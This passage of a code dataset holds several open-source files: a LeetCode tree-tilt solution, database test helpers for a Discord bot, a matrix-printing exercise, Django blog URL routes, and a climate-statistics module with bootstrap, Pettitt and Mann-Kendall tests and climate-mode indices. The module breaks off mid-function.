int\n \"\"\"\n if root is None: return 0\n self._tilt = 0\n self.postOrder(root)\n return self._tilt\n\n def postOrder(self, node):\n if node is None: return 0\n left = self.postOrder(node.left)\n right = self.postOrder(node.right)\n self._tilt += abs(left - right)\n node.val += left + right\n return node.val\n\n\nif __name__ == \"__main__\":\n root = TreeNode(1)\n root.left = TreeNode(2)\n root.right = TreeNode(3)\n \n s = Solution()\n print (s.findTilt(root))\n\n","repo_name":"chouisbo/onlinejudge","sub_path":"leetcode/563_binary-tree-tilt/563.py","file_name":"563.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13034629382","text":"from asyncpg import Connection, InvalidCatalogNameError, create_pool\nfrom asyncpg.pool import Pool\n\nfrom scripts.helpers import shell_command\n\n__all__ = ['_clear_db', '_get_pool', 'SCHEMA', 'MockLogger']\nSCHEMA = 'testing'\n\n\nasync def _make_tables(pool: Pool):\n sql = ('''\n CREATE TABLE IF NOT EXISTS testing.guild_info\n (\n guild_id VARCHAR NOT NULL\n CONSTRAINT guild_info_pkey\n PRIMARY KEY,\n prefix VARCHAR,\n lan VARCHAR,\n mod_log VARCHAR,\n roles VARCHAR[]\n )\n ;\n \n CREATE TABLE IF NOT EXISTS testing.member_info\n (\n member_id VARCHAR NOT NULL,\n guild_id VARCHAR NOT NULL,\n warns INTEGER DEFAULT 0\n CONSTRAINT positive_warn\n CHECK (warns >= 0),\n CONSTRAINT member_info_member_id_guild_id_key\n UNIQUE (member_id, guild_id)\n )\n ;\n \n CREATE TABLE IF NOT EXISTS testing.nsfw_tags\n (\n site VARCHAR NOT NULL,\n tag_name VARCHAR NOT NULL,\n CONSTRAINT nsfw_tags_site_tag_name_key\n UNIQUE (site, tag_name)\n )\n ;\n \n CREATE TABLE IF NOT EXISTS testing.user_info\n (\n user_id VARCHAR NOT NULL\n CONSTRAINT user_info_pkey\n PRIMARY KEY,\n balance BIGINT,\n daily TIMESTAMP\n )\n ;\n ''')\n schema_exist = await pool.fetchval(\n \"\"\"\n SELECT exists(\n SELECT schema_name FROM information_schema.schemata \n WHERE schema_name = 'testing'\n );\n \"\"\"\n )\n if not schema_exist:\n await pool.execute('CREATE SCHEMA testing;')\n await pool.execute(sql)\n\n\nasync def _clear_db(conn: Connection):\n \"\"\"\n Helper function to delete all rows from all tables from the db\n :param conn: the Postgres connection.\n \"\"\"\n tables = '''\n SELECT table_name\n FROM information_schema.tables\n WHERE table_schema=$1\n AND table_type='BASE TABLE'\n '''\n table_names = [\n list(v.values())[0] for v in\n [r for r in await conn.fetch(tables, SCHEMA)]\n ]\n for table in table_names:\n await conn.execute(f'TRUNCATE {SCHEMA}.{table}')\n\n\nasync def _get_pool() -> Pool:\n \"\"\"\n Get a asyncpg Connection object\n :return: the Connection object\n \"\"\"\n try:\n pool = await create_pool(database='hifumi_testing', user='postgres')\n except InvalidCatalogNameError:\n cmd = \"psql -c 'create database hifumi_testing;' -U postgres\"\n shell_command(cmd, True)\n pool = await create_pool(database='hifumi_testing', user='postgres')\n async with pool.acquire() as conn:\n await _clear_db(conn)\n await _make_tables(pool)\n return pool\n\n\nclass MockLogger:\n def log(self, *args, **kwargs):\n print(args, kwargs)\n","repo_name":"MaT1g3R/Hifumi-bot","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"2094837849","text":"#!/usr/bin/python3\n\ndef print_matrix_integer(matrix=[[]]):\n num_row = len(matrix)\n\n for row in matrix:\n num_elements = len(row)\n col = 0 # This will keep track of the column index\n\n for x in row:\n if col < num_elements - 1:\n print(\"{:d}\".format(x), end=\" \")\n else:\n print(\"{:d}\".format(x), end=\"\")\n col += 1 # increment column index\n print()\n","repo_name":"hunterxcobby/alx-higher_level_programming","sub_path":"0x03-python-data_structures/6-print_matrix_integer.py","file_name":"6-print_matrix_integer.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"32518503816","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nfrom blog.views import (\n buscar,\n mostrar_inicio,\n procesar_formulario_autor,\n procesar_formulario_articulo,\n procesar_formulario_seccion,\n AutorList,\n AutorDetalle,\n AutorCreate,\n AutorUpdateView,\n AutorDelete,\n MyLogin,\n MyLogout,\n registrarse,\n editar_perfil,\n agregar_avatar,\n \n )\n\n\nurlpatterns = [\n path(\"inicio/\", mostrar_inicio),\n path(\"formulario-autor/\", procesar_formulario_autor),\n path(\"formulario-articulo/\", procesar_formulario_articulo),\n path(\"formulario-seccion/\", procesar_formulario_seccion),\n path(\"formulario-de-busqueda/\", buscar),\n path(\"autor/list\", AutorList.as_view(), name= \"List\"),\n path(\"r'(?P\\d+)^$'\", AutorDetalle.as_view(), name= \"Detail\"),\n path(\"r'nuevo^$'\", AutorCreate.as_view(), name= \"New\"),\n path(\"r'editar/(?P\\d+)^$'\", AutorUpdateView.as_view(), name= \"Edit\"),\n path(\"r'borrar/(?P\\d+)^$'\", AutorDelete.as_view(), name= \"Delete\"),\n path(\"login/\", MyLogin.as_view(), name=\"login\"),\n path(\"logout/\", MyLogout.as_view(), name=\"logout\"),\n path(\"registrarse/\", registrarse, name=\"registrarse\"),\n path(\"editar-perfil/\", editar_perfil, name= \"EditarPerfil\"),\n path(\"agregar-avatar/\", agregar_avatar, name=\"AgregarAvatar\"),\n]\n","repo_name":"Claudio-Ferriz/ProyectoFinal","sub_path":"ProyectoFinal/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31342322835","text":"import xarray as xr\nimport numpy as np\nimport scipy\nimport scipy.stats as stats\nfrom scipy.stats import theilslopes\nimport itertools\nimport geopandas\nimport regionmask\nimport pandas as pd\nfrom statsmodels.tsa.stattools import acf\n\nimport dask\nimport dask.bag as db\nimport dask.array as darray\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport cmasher as cmr\n\n# ==================================================================== Data preparation functions\n\ndef switch_lons(ds, lon_name='lon'):\n \"\"\" Switches lons from -180-180 to 0-360 or vice versa\"\"\"\n ds = ds.copy()\n with dask.config.set(**{'array.slicing.split_large_chunks': True}):\n if np.any(ds.coords[lon_name] < 0): # if current coords are -180 to 180\n ds.coords[lon_name] = (ds.coords[lon_name] + 360) % 360\n else:\n ds.coords[lon_name] = (ds.coords[lon_name] + 180) % 360 - 180\n return ds.sortby(ds[lon_name])\n\ndef remove_data(ds, nh_lim, sh_lim, time_max, lat_name='lat', time_name='time'):\n \"\"\" Set data between two latitudes to NaN before a chosen time\"\"\"\n return xr.where((ds[lat_name] < nh_lim) &\n (ds[lat_name] > sh_lim) &\n (ds[time_name] < pd.to_datetime([time_max]).values),\n np.nan,\n ds)\n\ndef get_quantile_thresholds(ds, quantile, dim, lat_name='lat', lon_name='lon', lat_chunk=1, lon_chunk=1):\n \"\"\" Get quantile of ds\"\"\"\n ds = ds.chunk({**{lat_name: 1, lon_name: 1},\n **{d: -1 for d in dim}})\n return ds.quantile(quantile, dim)\n\ndef get_max_month(da, time_name='time'):\n \"\"\"Get the month of maximum average of da\"\"\"\n da = da.resample({time_name: 'MS'}) \\\n .mean()\n return da.groupby(time_name+'.month').mean() \\\n .argmax('month') + 1\n\ndef get_year_end(da, shift=5):\n \"\"\" Returns array of end years.\"\"\"\n da = (da + shift) % 12\n return da.where(da > 0, 12)\n\ndef accumulate_to_year_end(da, year_ends, mask=None, shift=5, accumulate=12, time_name='time'):\n \"\"\" Returns accumulated monthly values up to year end\"\"\"\n da = da.shift({time_name: shift}) \\\n .rolling({time_name: accumulate}).sum()\n da = da.where(da[time_name].dt.month == year_ends) \\\n .resample({time_name: '1YS'}).sum(skipna=True)\n if mask is None:\n return da\n else:\n return da.where(mask == 1)\n\ndef get_ar6_region_mask(da, lon_name='lon', lat_name='lat'):\n \"\"\" Return masks on input grid \"\"\"\n ar6_regions = geopandas.read_file(\"/scratch1/ric368/data/ar6_regions/IPCC-WGI-reference-regions-v4_shapefile/IPCC-WGI-reference-regions-v4.shp\")\n #ar6_regions_dict = {number: name for number, name in zip(list(ar6_regions.index), list(ar6_regions.Acronym))}\n ar6_regions_mask = regionmask.Regions_cls(name='AR6_regions', \n numbers=list(ar6_regions.index), \n names=list(ar6_regions.Name), \n abbrevs=list(ar6_regions.Acronym), \n outlines=list(ar6_regions.geometry))\n return ar6_regions_mask.mask(da, lon_name=lon_name, lat_name=lat_name)\n\ndef calculate_extreme_days_per_fire_year(da, year_end, compute_monthly=False):\n \"\"\"\n Calculates number of extreme days per year, where a year ends at the month indicated by year_end.\n \n Parameters\n ----------\n da : xarray DataArray\n Array to compute on.\n year_end : xarray DataArray\n Array of values indicating which month is the end year\n compute_monthly : bool, optional\n Whether to compute after calculating monthly sums.\n \"\"\"\n \n da_m = da.resample(time='1MS').sum()\n if compute_monthly:\n da_m = da_m.compute()\n da_12m = da_m.rolling(time=12).sum()\n return da_12m.where(da_12m.time.dt.month == year_end) \\\n .resample(time='1YS').sum(skipna=True)\n\ndef normalise(da):\n \"\"\"Normalise values to lie between 0 and 1\"\"\"\n return (da - da.min()) / (da.max() - da.min())\n\n# ============================================================= Plotting tools\ndef adjust_lightness(color, amount=0.5):\n \"\"\"\n Adjusts lightness of the given color by multiplying (1-luminosity) by the given amount.\n Input can be matplotlib color string, hex string, or RGB tuple.\n\n Examples:\n >> adjust_lightness('g', 0.3)\n >> adjust_lightness('#F034A3', 0.6)\n >> adjust_lightness((.3,.55,.1), 0.5)\n \n From: https://stackoverflow.com/a/49601444\n \"\"\"\n import matplotlib.colors as mc\n import colorsys\n try:\n c = mc.cnames[color]\n except:\n c = color\n c = colorsys.rgb_to_hls(*mc.to_rgb(c))\n return colorsys.hls_to_rgb(c[0], max(0, min(1, amount * c[1])), c[2])\n\ndef get_magma_waterlily_cmap():\n \"\"\" Generate custom colormap\"\"\"\n raw_colors = np.concatenate((plt.get_cmap('cmr.waterlily')(np.linspace(0.07, 1, 256))[:116:9],\n np.array([[1,1,1,1]]),\n cm.get_cmap('magma_r')(np.linspace(0, 0.78, 128))[7::10]))\n f = scipy.interpolate.interp1d(np.linspace(0,1,len(raw_colors)), raw_colors.T)\n colors_ = f(np.linspace(0,1,256)).T\n return mpl.colors.ListedColormap(colors_, name='custom_cmap')\n\n# ============================================================= Trend and change-point testing and tools\n\ndef fdr(p_values_da, alpha=0.1):\n \"\"\"\n Calculates significance on a DataArray of gridded p-values (p_values_da) by controlling the false discovery rate.\n Returns a DataArray of ones (significant) and zeros (not significant).\n \"\"\"\n \n p_1d = p_values_da.values.reshape(-1) # 1-D array of p-values\n p_1d = p_1d[~np.isnan(p_1d)] # Remove NaNs\n sorted_pvals = np.sort(p_1d) # sort p-values\n N = len(sorted_pvals) # sample size\n \n fdr_criteria = alpha * (np.arange(1, N+1) / N) # the diagonal line of criteria\n pvals_less_than_fdr_criteria = np.where(sorted_pvals < fdr_criteria)[0]\n \n if len(pvals_less_than_fdr_criteria) > 0: #if any p-values satisfy the FDR criteria\n largest_p_less_than_criteria = pvals_less_than_fdr_criteria[-1] # index of the largest p-value still under the fdr_criteria line.\n p_fdr = sorted_pvals[largest_p_less_than_criteria] # the p-value for controlling the FDR\n else:\n p_fdr = -1 # abritrary number < 0. Ensures no significant results.\n \n # massage data into binary indicators of FDR significance\n keep_signif = p_values_da.where(p_values_da <= p_fdr, -999)\n signif_da = keep_signif.where(keep_signif == -999, 1)\n \n return signif_da.where(signif_da == 1, 0)\n\ndef get_signif_locs(da, lat, lon):\n \"\"\"\n Gets lat/lon locations of significant and insignificant grid boxes.\n da should be a binary DataArray, with zeros indicating insignificant results.\n \"\"\" \n y = lat[np.where(da.values > 0)[0]].values\n x = lon[np.where(da.values > 0)[1]].values\n return [(x[i], y[i]) for i in range(len(x))]\n\ndef estimate_L(da):\n \"\"\"\n Estimates block length L for each grid box of da.\n \"\"\"\n from statsmodels.tsa.stattools import acf\n \n def acf_lag1(x):\n if np.sum(~np.isnan(x)) == 0: # if all NaNs\n return np.nan\n else:\n x = x[~np.isnan(x)]\n return acf(x, nlags=1)[-1]\n \n n = len(da.time.values)\n \n # DataArray of lag1 ACF coefficients\n rho_da = xr.apply_ufunc(acf_lag1, da, input_core_dims=[['time']], output_core_dims=[[]], vectorize=True, dask='allowed')\n \n # DataArray of effective sample size\n n_eff_da = n * ((1 - rho_da) / (1 + rho_da))\n \n # Initialise guess for block length\n Ls_da = xr.full_like(rho_da, 1)\n for i in range(10): # iterate to get estimate of L\n L_da = (n - Ls_da + 1) ** ( (2/3) * (1 - n_eff_da / n) )\n Ls_da = L_da\n \n return np.ceil(L_da) # round up to get block length\n\ndef random_resample(*args, samples,\n function=None, function_kwargs=None, bundle_args=True,\n replace=True):\n \"\"\"\n Randomly resample from provided xarray args and return the results of the subsampled dataset passed through \\\n a provided function\n \n Parameters\n ----------\n *args : xarray DataArray or Dataset\n Objects containing data to be resampled. The coordinates of the first object are used for resampling and the \\\n same resampling is applied to all objects\n samples : dictionary\n Dictionary containing the dimensions to subsample, the number of samples and the continuous block size \\\n within the sample. Of the form {'dim1': (n_samples, block_size), 'dim2': (n_samples, block_size)}. The first \\\n object in args must contain all dimensions listed in samples, but subsequent objects need not.\n function : function object, optional\n Function to reduced the subsampled data\n function_kwargs : dictionary, optional\n Keyword arguments to provide to function\n bundle_args : boolean, optional\n If True, pass all resampled objects to function together, otherwise pass each object through function \\\n separately\n replace : boolean, optional\n Whether the sample is with or without replacement\n \n Returns\n -------\n sample : xarray DataArray or Dataset\n Array containing the results of passing the subsampled data through function\n \n Author: Dougie Squire https://github.com/dougiesquire/Squire_2021_fire_susceptibility\n \"\"\"\n samples_spec = samples.copy() # copy because use pop below\n args_sub = [obj.copy() for obj in args]\n dim_block_1 = [d for d, s in samples_spec.items() if s[1] == 1]\n\n # Do all dimensions with block_size = 1 together\n samples_block_1 = { dim: samples_spec.pop(dim) for dim in dim_block_1 }\n random_samples = {dim: \n np.random.choice(\n len(args_sub[0][dim]),\n size=n,\n replace=replace)\n for dim, (n, _) in samples_block_1.items()}\n args_sub = [obj.isel(\n {dim: random_samples[dim] \n for dim in (set(random_samples.keys()) & set(obj.dims))}) for obj in args_sub]\n\n # Do any remaining dimensions\n for dim, (n, block_size) in samples_spec.items():\n n_blocks = int(n / block_size)\n random_samples = [slice(x,x+block_size) \n for x in np.random.choice(\n len(args_sub[0][dim])-block_size+1, \n size=n_blocks,\n replace=replace)]\n args_sub = [xr.concat([obj.isel({dim: random_sample}) \n for random_sample in random_samples],\n dim=dim) \n if dim in obj.dims else obj \n for obj in args_sub]\n\n if function:\n if bundle_args:\n if function_kwargs is not None:\n res = function(*args_sub, **function_kwargs)\n else:\n res = function(*args_sub)\n else:\n if function_kwargs is not None:\n res = tuple([function(obj, **function_kwargs) for obj in args_sub])\n else:\n res = tuple([function(obj) for obj in args_sub])\n else:\n res = tuple(args_sub,)\n\n if isinstance(res, tuple):\n if len(res) == 1:\n return res[0]\n else:\n return res\n \n \ndef n_random_resamples(*args, samples, n_repeats, \n function=None, function_kwargs=None, bundle_args=True, \n replace=True, with_dask=True):\n \"\"\"\n Repeatedly randomly resample from provided xarray objects and return the results of the subsampled dataset passed \\\n through a provided function\n \n Parameters\n ----------\n args : xarray DataArray or Dataset\n Objects containing data to be resampled. The coordinates of the first object are used for resampling and the \\\n same resampling is applied to all objects\n samples : dictionary\n Dictionary containing the dimensions to subsample, the number of samples and the continuous block size \\\n within the sample. Of the form {'dim1': (n_samples, block_size), 'dim2': (n_samples, block_size)}\n n_repeats : int\n Number of times to repeat the resampling process\n function : function object, optional\n Function to reduced the subsampled data\n function_kwargs : dictionary, optional\n Keyword arguments to provide to function\n replace : boolean, optional\n Whether the sample is with or without replacement\n bundle_args : boolean, optional\n If True, pass all resampled objects to function together, otherwise pass each object through function \\\n separately\n with_dask : boolean, optional\n If True, use dask to parallelize across n_repeats using dask.delayed\n \n Returns\n -------\n sample : xarray DataArray or Dataset\n Array containing the results of passing the subsampled data through function\n \n Author: Dougie Squire https://github.com/dougiesquire/Squire_2021_fire_susceptibility\n \"\"\"\n\n if with_dask & (n_repeats > 1000):\n n_args = itertools.repeat(args[0], times=n_repeats)\n b = db.from_sequence(n_args, npartitions=100)\n rs_list = b.map(random_resample, *(args[1:]), \n **{'samples':samples, 'function':function, \n 'function_kwargs':function_kwargs, 'replace':replace}).compute()\n else: \n resample_ = dask.delayed(random_resample) if with_dask else random_resample\n rs_list = [resample_(*args,\n samples=samples,\n function=function,\n function_kwargs=function_kwargs,\n bundle_args=bundle_args,\n replace=replace) for _ in range(n_repeats)] \n if with_dask:\n rs_list = dask.compute(rs_list)[0]\n \n if all(isinstance(r, tuple) for r in rs_list):\n return tuple([xr.concat([r.unify_chunks() for r in rs], dim='k') for rs in zip(*rs_list)])\n else:\n return xr.concat([r.unify_chunks() for r in rs_list], dim='k')\n \ndef pettitt_test(X):\n \"\"\"\n Pettitt test calculated following Pettitt (1979): https://www.jstor.org/stable/2346729?seq=4#metadata_info_tab_contents\n \"\"\"\n X = X[~np.isnan(X)]\n T = X.shape[-1]\n U = np.empty_like(X)\n for t in range(T): # t is used to split X into two subseries\n X_stack = np.zeros((*X.shape[:-1], t, X[...,t:].shape[-1] + 1), dtype=int)\n X_stack[...,:,0] = X[...,:t] # first column is each element of the first subseries\n X_stack[...,:,1:] = np.expand_dims(X[...,t:],-2) # all rows after the first element are the second subseries\n U[...,t] = np.sign(np.expand_dims(X_stack[...,:,0],-1) - X_stack[...,:,1:]).sum(axis=(-1,-2)) # sign test between each element of the first subseries and all elements of the second subseries, summed.\n\n tau = np.argmax(np.abs(U), axis=-1) # location of change (last data point of first sub-series, so new regime starts at tau+1)\n K = np.max(np.abs(U), axis=-1)\n p = 2 * np.exp(-6 * K**2 / (T**3 + T**2))\n \n return (tau, K, p)\n\n\ndef pettitt_nan_wrap(X):\n \"\"\"\n Only run Pettitt test on data that isn't just NaNs.\n \"\"\"\n if np.count_nonzero(~np.isnan(X)) > 0:\n return pettitt_test(X)\n else:\n return (np.nan, np.nan, np.nan)\n\n\ndef apply_pettitt(da):\n \"\"\"\n Applies Pettitt test to every grid box in da.\n \n Parameters\n ----------\n da : xarray DataArray\n Array of values.\n \n Returns\n -------\n ds : xarray DataSet\n DataSet with the variables tau, K and p.\n \"\"\"\n pettitt = xr.apply_ufunc(pettitt_nan_wrap, da, input_core_dims=[['time']], output_core_dims=[[], [], []], dask='allowed', vectorize=True) # compute pettitt test and output to tuple\n ds = pettitt[0].to_dataset(name='tau').merge(pettitt[1].to_dataset(name='K')).merge(pettitt[2].to_dataset(name='p')) # convert each element to a dataset and merge together\n \n return ds\n\ndef get_percentile(obs, bootstrap):\n \"\"\"Returns the percentile of obs in bootstrap\"\"\"\n if np.isnan(obs):\n return np.nan\n else:\n return np.searchsorted(np.sort(bootstrap), obs) / len(bootstrap)\n\n\ndef apply_percentile(obs_da, bs_da, absolute=False):\n \"\"\"\n Gets the percentiles of obs_da in bs_da.\n This function is slow and I'm sure could be improved.\n \"\"\"\n obs_da = obs_da.sortby('lat', ascending=True) # need lats in ascending order: https://stackoverflow.com/a/53175095\n bs_da = bs_da.sortby('lat', ascending=True)\n \n if absolute: # for e.g. magnitude of change point, we want the percentile of the absolute change\n obs_da = np.abs(obs_da)\n bs_da = np.abs(bs_da)\n \n obs_stack = obs_da.stack(point=('lat', 'lon')).groupby('point') # stack lat and lon onto new dimension 'point', then group by point\n bs_stack = bs_da.stack(point=('lat', 'lon')).groupby('point')\n\n percentiles = xr.apply_ufunc(get_percentile, obs_stack, bs_stack, input_core_dims=[[], ['bs_sample']], output_core_dims=[[]], dask='allowed')\n ds = percentiles.unstack('point').sortby('lat', ascending=False) # unstack and sort lats to original ordering\n \n return ds\n\ndef cp_map_pettitt_ufunc(da, reps, autocorrelation_length, fy, ly):\n \"\"\"\n Applies Pettitt test and generates relevant statistics.\n \n Parameters\n ----------\n da : xarray DataArray\n Array for which to compute Pettitt test\n reps : int\n Number of bootstrap samples per batch\n rep_batches : int\n Number of batches of bootstrap samples.\n autocorrelation_length : int\n Block length used in generating bootstrap samples\n fy : int\n First year to be used in generating yearly (Jul-Jun) event totals\n ly : int\n Last year to be used in generating event totals. Note this year corresponds to the end of the Jul-Jun year.\n\n Returns\n -------\n obs_cp_ds : xarray DataSet\n DataSet containing variables of tau (change point location), K (Pettitt test statistic),\n p (p-value of test statistic, according to the Pettitt formula), p_value (p_value from bootstrapping),\n cp_year (the year of the change point) and cp_magnitude (median of the subseries\n from tau minus that before tau).\n \"\"\"\n \n # Pettitt tests\n obs_cp_ds = apply_pettitt(da)\n # For bootstrap samples\n bs_cp_ds = n_random_resamples(da, samples={'time': (len(da.time), autocorrelation_length)}, n_repeats=reps, function=apply_pettitt, with_dask=True)\n print('Finished bootstrap')\n bs_cp_ds = bs_cp_ds.rename({'k': 'bs_sample'}) # rename boostrap samples\n \n # p-values of observed test statistic in bootstrap samples\n test_stat_percentiles = apply_percentile(obs_cp_ds.K, bs_cp_ds.K, absolute=True)\n obs_cp_ds['p_value'] = 1 - test_stat_percentiles\n \n # rename p dimension to make it clear its the Pettitt approximation\n obs_cp_ds = obs_cp_ds.rename({'p': 'pettitt_p_value'})\n \n # Get year and magnitude of CP\n obs_cp_ds['cp_year'] = fy + obs_cp_ds['tau'] # last year of 'old regime'\n obs_cp_ds['cp_magnitude'] = da.where(da.time.dt.year > obs_cp_ds['cp_year']).quantile(0.5, 'time') - \\\n da.where(da.time.dt.year <= obs_cp_ds['cp_year']).quantile(0.5, 'time')\n \n return obs_cp_ds\n\ndef mk_theil_sen_1d(X):\n \"\"\"Performs the Mann-Kendall trend test and calculates the Theil-Sen slope\"\"\"\n \n from scipy.stats import theilslopes\n \n X = X[~np.isnan(X)]\n n = X.shape[-1] # length of X (usually time)\n stack = np.full((n - 1, n), np.nan)\n \n np.fill_diagonal(stack[:,1:], X[0]) # fill the above-diagonal with first element of X\n for i in range(n-1): # fill diagonal and below-diagonals with remaining elements\n np.fill_diagonal(stack[i:,:], X[i+1])\n \n diff = np.expand_dims(stack[:,0], -1) - stack[:,1:] # difference between each element and all previous elements of X\n sign = np.sign(diff) # sign of these differences\n S = sign[~np.isnan(sign)].astype(int).sum() # sum of signed differences\n \n ts_slope, ts_intercept = theilslopes(X)[:2] # First element is estimate of slope, second is intercept\n \n return (S, ts_slope, ts_intercept)\n\ndef mk_nan_wrap(X):\n \"\"\"\n Only run Mann-Kendall test on data that isn't just NaNs.\n \"\"\"\n if np.count_nonzero(~np.isnan(X)) > 0:\n return mk_theil_sen_1d(X)\n else:\n return (np.nan, np.nan, np.nan)\n\n\ndef apply_mk(da):\n \"\"\"\n Applies Mann-Kendall test to every grid box in da.\n Also calculates the Theil-Sen slope and intercept.\n \n Parameters\n ----------\n da : xarray DataArray\n Array of values.\n \n Returns\n -------\n ds : xarray DataSet\n DataSet with the variables S, ts_slope and ts_intercept.\n \"\"\"\n mk = xr.apply_ufunc(mk_nan_wrap, da, input_core_dims=[['time']], output_core_dims=[[], [], []], dask='allowed', vectorize=True)\n ds = mk[0].to_dataset(name='S').merge(mk[1].to_dataset(name='ts_slope')).merge(mk[2].to_dataset(name='ts_intercept'))\n \n return ds\n\ndef cp_map_mk_ufunc(da, reps, autocorrelation_length, fy, ly):\n \"\"\"\n Applies MK test and generates relevant statistics.\n \n Parameters\n ----------\n da : xarray DataArray\n Array for which to compite MK test\n reps : int\n Number of bootstrap samples per batch\n rep_batches : int\n Number of batches of bootstrap samples.\n autocorrelation_length : int\n Block length used in generating bootstrap samples\n fy : int\n First year to be used in generating yearly (Jul-Jun) event totals\n ly : int\n Last year to be used in generating event totals. Note this year corresponds to the end of the Jul-Jun year.\n\n Returns\n -------\n obs_cp_ds : xarray DataSet\n DataSet containing variables of S (MK test statistic), p_value (p-value of test statistic from bootstrapping S),\n ts_slope (the Theil-Sen slope estimate) and ts_intercept (the Theil-Sen intercept estimate).\n \"\"\"\n \n # MK tests\n obs_ds = apply_mk(da)\n # For bootstrap samples\n bs_ds = n_random_resamples(da, samples={'time': (len(da.time), autocorrelation_length)}, n_repeats=reps, function=apply_mk, with_dask=True)\n bs_ds = bs_ds.rename({'k': 'bs_sample'}) # rename boostrap samples\n \n # p-values of observed test statistic in bootstrap samples\n test_stat_percentiles = apply_percentile(obs_ds.S, bs_ds.S, absolute=True)\n obs_ds['p_value'] = 1 - test_stat_percentiles\n \n return obs_ds\n\n\n# ============================================ Climate diagnostics tools\n\ndef climatology_monthly(da, climatology_slice=None, time_dim='time'):\n \"\"\"Returns the monthly climatology\"\"\"\n if climatology_slice is None:\n clim = da.groupby(time_dim+'.month').mean()\n else:\n clim = da.sel({time_dim: climatology_slice}).groupby(time_dim+'.month').mean()\n return clim\n\ndef anomalise_monthly(da, climatology_slice=None, standardise=False, time_dim='time'):\n \"\"\"Returns the monthly anomalies of da\"\"\"\n clim = climatology_monthly(da, climatology_slice=climatology_slice, time_dim=time_dim)\n anoms = da.groupby(time_dim+'.month') - clim\n \n if standardise:\n return (anoms.groupby(time_dim+'.month') / anoms.groupby(time_dim+'.month').std()).drop('month')\n else:\n return anoms.drop('month')\n \ndef detrend_dim(da, dim, deg=1):\n \"\"\"\n Author: Ryan Abernathy\n From: https://gist.github.com/rabernat/1ea82bb067c3273a6166d1b1f77d490f\n \"\"\" \n # detrend along a single dimension\n p = da.polyfit(dim=dim, deg=deg)\n fit = xr.polyval(da[dim], p.polyfit_coefficients)\n return da - fit\n\ndef detrend(da, dims, deg=1):\n \"\"\"\n Author: Ryan Abernathy\n From: https://gist.github.com/rabernat/1ea82bb067c3273a6166d1b1f77d490f\n \"\"\"\n # detrend along multiple dimensions\n # only valid for linear detrending (deg=1)\n da_detrended = da\n for dim in dims:\n da_detrended = detrend_dim(da_detrended, dim, deg=deg)\n return da_detrended\n \n# ========================================= Climate modes\n \ndef calc_dmi(da):\n \"\"\" Calculates Dipole Mode Index\"\"\"\n boxW = [-10.0,10.0,50.0,70.0]\n boxE = [-10.0,0.0,90.0,110.0]\n \n da_W = da.sel(lat=slice(10, -10), lon=slice(50, 70)).mean(['lat', 'lon'])\n da_E = da.sel(lat=slice(0, -10), lon=slice(90, 110)).mean(['lat', 'lon'])\n \n return (da_W - da_E)\n\ndef calc_pna(h500_anom, time_name='time', lat_name='lat', lon_name='lon'):\n \"\"\"\n Returns the Wallace and Gutzler Pacific north American mode index (see, for example, \n http://research.jisao.washington.edu/data_sets/pna/)\n \n | Author: Dougie Squire\n | Date: 10/04/2018\n \n Parameters\n ----------\n h500_anom : xarray DataArray\n Array containing anomalies of 500hPa geopotential height\n lat_name : str, optional\n Name of the latitude dimension. If None, doppyo will attempt to determine lat_name \\\n automatically\n lon_name : str, optional\n Name of the longitude dimension. If None, doppyo will attempt to determine lon_name \\\n automatically\n time_name : str, optional\n Name of the time dimension. If None, doppyo will attempt to determine time_name \\\n automatically\n \n Returns\n -------\n pna : xarray DataArray\n Array containing the Pacific north American mode index\n \"\"\"\n \n lat_p1 = 20\n lon_p1 = -160+360\n lat_p2 = 45\n lon_p2 = -165+360\n lat_p3 = 55\n lon_p3 = -115+360\n lat_p4 = 30\n lon_p4 = -85+360\n\n h500_anom_p1 = h500_anom.interp({lat_name : lat_p1, lon_name : lon_p1})\n h500_anom_p2 = h500_anom.interp({lat_name : lat_p2, lon_name : lon_p2})\n h500_anom_p3 = h500_anom.interp({lat_name : lat_p3, lon_name : lon_p3})\n h500_anom_p4 = h500_anom.interp({lat_name : lat_p4, lon_name : lon_p4})\n\n h500_anom_p1_group = h500_anom_p1.groupby(time_name+'.month')\n h500_anom_p2_group = h500_anom_p2.groupby(time_name+'.month')\n h500_anom_p3_group = h500_anom_p3.groupby(time_name+'.month')\n h500_anom_p4_group = h500_anom_p4.groupby(time_name+'.month')\n \n return 0.25 * ((h500_anom_p1_group / h500_anom_p1_group.std(time_name)).drop('month') - \\\n (h500_anom_p2_group / h500_anom_p2_group.std(time_name)).drop('month') + \\\n (h500_anom_p3_group / h500_anom_p3_group.std(time_name)).drop('month') - \\\n (h500_anom_p4_group / h500_anom_p4_group.std(time_name)).drop('month'))\n\n\ndef calc_sam(slp, clim_period, lat_name='lat', lon_name='lon', time_name='time'):\n \"\"\"\n Author: Dougie Squire\n \n Returns southern annular mode index as defined by Gong, D. and Wang, S., 1999. Definition \\\n of Antarctic oscillation index. Geophysical research letters, 26(4), pp.459-462.\n \n Parameters\n ----------\n slp : xarray DataArray\n Array containing monthly sea level pressure\n clim_period : size (1,2) array-like containing start and end dates of period used to \\\n anomalize and normalise\n lat_name : str, optional\n Name of the latitude dimension.\n lon_name : str, optional\n Name of the longitude dimension.\n time_name : str, optional\n Name of the time dimension.\n \n Returns\n -------\n sam : xarray DataArray\n Array containing the Gong and Wang (1999) southern annular mode index\n \"\"\"\n def _normalise(group, clim_group):\n \"\"\" Return the anomalies normalize by their standard deviation \"\"\"\n month = group[time_name].dt.month.values[0]\n months, _ = zip(*list(clim_group))\n clim_group_month = list(clim_group)[months.index(month)][1]\n return (group - clim_group_month.mean(time_name)) / clim_group_month.std(time_name)\n\n slp_40 = slp.interp({lat_name: -40}).mean(lon_name)\n slp_65 = slp.interp({lat_name: -65}).mean(lon_name)\n\n slp_40_group = slp_40.groupby(time_name+'.month')\n slp_40_group_clim = slp_40.sel(\n {time_name: slice(clim_period[0],\n 